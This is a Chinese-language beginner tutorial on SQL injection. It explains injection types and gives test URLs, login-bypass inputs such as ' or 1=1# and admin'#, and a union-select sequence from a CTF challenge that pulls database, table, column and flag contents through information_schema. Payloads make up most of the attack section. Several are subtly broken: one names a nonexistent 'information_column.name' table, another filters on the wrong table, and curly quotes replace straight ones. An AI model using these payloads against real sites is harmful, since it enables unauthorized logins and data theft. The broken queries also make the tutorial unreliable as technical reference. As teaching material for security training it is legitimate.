Sql注入的入门教程

Sql注入比较常见的漏洞之一，例用程序员的漏洞来进行无账号的登陆，篡改数据库。任何客户端可控，传参数到服务端的变量，和数据库交互，都有可能存在sql注入

原理

用户通过构造sql语句来模仿服务器发向服务器的语句，造成错误执行。从而达到自己的目的。

sql注入的步骤

1.发现注入位置。

2.判断注入类型传参方式的：get类型，post类型，cookie类型。

以及根据注入点不同的：数字型注入，单引号注入，双引号注入。

 

首先是单引号双引号注入（单引号为例）：

SELECT * FROM `article` where id = ‘[id]’

SELECT * FROM `article` where id = “[id]”

 

http://www.xx.com/a.php?id=1’and 1=’1

http://www.xx.com/a.php?id=1’and 1=’2

若第一个payload为查询1，第二个返回值为错误，则存在单双引号注入。

数字型为

SELECT * FROM `article` where id =[id]

http://www.xx.com/a.php?id=1 and 1=1

http://www.xx.com/a.php?id=1 and 1=2

 

比如:

 

已知某网站的sql查询语句如下，并且没有做任何的屏蔽措施。

 

select * from users where username='用户名' and password=md5('密码')

 

此处我们容易想到闭合前端的引号构成注入，当我们输入用户名为’or 1=1#,

 

select * from users where username='’or 1=1#' and password=md5('')

 

由于在sql注入中#等同于注释，该语句语句可以等价于

 

select * from users where username='’or 1=1#' and password=md5('')

 

该语句由于1=1恒成立，故会返回users中所有的用户。

倘若我们已知用户名而不清楚密码的情况下（假设用户名为admin）：

 

select * from users where username='用户名' and password=md5('密码')

 

输入：admin’#

 

select * from users where username='admin’#' and password=md5('密码')

 

等同于

select * from users where username='admin’#' and password=md5('密码')

故会在不用密码的情况成功的登陆admin用户。

 

1. 获取数据（重要）

Mysql中又三种默认库

information_schema : 保存着关于MySQL服务器所维护的所有其他数据库的信息。（主要）

mysql : 存储数据库的⽤户、权限、设置关键字。

performance_schema : 收集数据库服务器性能 参数。

注: MySQL < 5.0 没有信息数据库

 

 

 

 

Information_schema又包括

 

SCHEMATA // 数据库信息表（库名）

TABLES // 数据表信息表（表名）

COLUMNS // 数据列信息表（列名）

 

以ctfshow web2为例

 

查看回显位置

 

admin’ or 1=1 union select 1,2,3#

查看当前的库名

admin’ or 1=1 union select 1,database(),3#

 

查看表名

admin’ or 1=1 union select 1,table_name,3 from information_schema.tables where table_name=’web2’#          

查看字段名

admin’ or 1=1 union select 1,column_name,3 from information_column.name where table_name=‘flag’#

 

根据字段查内容

admin’ or 1=1 union select 1,flag,3 from flag#